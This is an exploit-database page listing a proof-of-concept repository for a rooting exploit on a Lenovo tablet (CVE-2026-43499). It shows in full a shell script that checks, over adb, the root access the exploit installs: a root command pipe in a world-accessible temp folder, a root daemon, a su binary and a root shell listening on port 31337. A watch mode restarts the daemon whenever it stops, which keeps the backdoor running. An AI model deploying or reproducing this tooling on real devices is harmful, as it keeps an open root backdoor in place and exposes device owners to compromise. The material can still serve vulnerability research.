Exploit database

GH-f838dcf62fc9fa430d033ea61489fdd5

wonjj6768/lenovo-tb365fc-ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

168 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

su/verify_root.sh

Shell · 3,333 bytes
#!/bin/sh
# verify_root.sh — verify the GhostLock root session + rootd/su stack.
#
#   SERIAL=<serial> ./verify_root.sh [--restart] [--watch]
#     --restart   if rootd is down, restart it via the root FIFO
#     --watch     loop forever, restarting rootd whenever it goes down
set -u
ADB="${ADB:-adb}"
SERIAL="${SERIAL:-}"
DEV=/data/local/tmp

adb_() { if [ -n "$SERIAL" ]; then "$ADB" -s "$SERIAL" "$@"; else "$ADB" "$@"; fi; }

# Git Bash on Windows rewrites /data/... arguments; keep them literal.
export MSYS_NO_PATHCONV=1

RESTART=0
WATCH=0
for a in "$@"; do
    case "$a" in
        --restart) RESTART=1 ;;
        --watch)   WATCH=1; RESTART=1 ;;
    esac
done

REMOTE_OUT=""
RC=0
# Run a remote command; keep its exit status and its CR-stripped output.
sh_rc() {
    RC=0
    _o="$(adb_ shell "$1" 2>/dev/null)" || RC=$?
    REMOTE_OUT="$(printf '%s' "$_o" | tr -d '\r')"
}

fail=0
check() {
    name="$1"; ok="$2"
    if [ "$ok" = "1" ]; then
        printf '  [PASS] %s\n' "$name"
    else
        printf '  [FAIL] %s\n' "$name"; fail=$((fail+1))
    fi
}

# PASS only if the remote command exits 0 AND its output matches PATTERN.
check_remote() { # name pattern command
    name="$1"; pat="$2"; cmd="$3"
    sh_rc "$cmd"
    if [ "$RC" -eq 0 ] && printf '%s' "$REMOTE_OUT" | grep -Eq "$pat"; then
        check "$name" 1
    else
        check "$name" 0
    fi
}

rootd_up() {
    sh_rc "$DEV/rootmgr status"
    [ "$RC" -eq 0 ] && printf '%s' "$REMOTE_OUT" | grep -q 'rootd: UP'
}

restart_rootd() {
    echo "[*] restarting rootd via FIFO"
    sh_rc "if [ -f $DEV/.rootd.pid ]; then kill \$(cat $DEV/.rootd.pid) 2>/dev/null; fi; sleep 1"
    sh_rc "echo '$DEV/rootd' > $DEV/.rcmd; sleep 2"
}

run_once() {
    fail=0
    state="$(adb_ get-state 2>/dev/null)"; src=$?
    if [ "$src" -ne 0 ] || [ "$state" != "device" ]; then
        echo "[!] adb device not ready (ADB=$ADB state='$state' rc=$src)"
        return 2
    fi
    echo "== device =="
    sh_rc 'getprop ro.product.model; getprop ro.build.version.release; uname -r'
    printf '  %s\n' "$(printf '%s' "$REMOTE_OUT" | tr '\n' ' ')"
    echo "== checks =="

    check_remote "root FIFO round-trip (uid=0)" 'uid=0\(root\)' \
        "echo id > $DEV/.rcmd; sleep 1; cat $DEV/.rout"
    check "rootd reachable" "$( rootd_up && echo 1 || echo 0 )"
    check_remote "rootd round-trip (id)" 'uid=0\(root\)' "$DEV/rootmgr test"
    check_remote "su -c id (through rootd)" 'uid=0\(root\)' "$DEV/su -c id"
    check_remote "root shell LISTEN 127.0.0.1:31337" \
        '0100007F:7A69[[:space:]]+00000000:0000[[:space:]]+0A' \
        'cat /proc/net/tcp /proc/net/tcp6'

    sh_rc "cat $DEV/.rootd.pid"
    rd="$REMOTE_OUT"
    check_remote "rootd process alive (comm=rootd)" '^rootd$' "cat /proc/$rd/comm"
    sh_rc "cat $DEV/.rootwd.pid"
    wd="$REMOTE_OUT"
    check_remote "rootwd watchdog alive (comm=rootwd)" '^rootwd$' "cat /proc/$wd/comm"

    sh_rc 'cat /sys/fs/selinux/enforce 2>/dev/null'
    echo "  [info] SELinux enforce=$REMOTE_OUT"

    echo "== result =="
    if [ "$fail" -eq 0 ]; then echo "  ALL PASS"; else echo "  $fail check(s) FAILED"; fi
    return "$fail"
}

if [ "$WATCH" -eq 1 ]; then
    while :; do
        rootd_up || restart_rootd
        sleep 20
    done
fi

if [ "$RESTART" -eq 1 ]; then
    rootd_up || restart_rootd
fi

run_once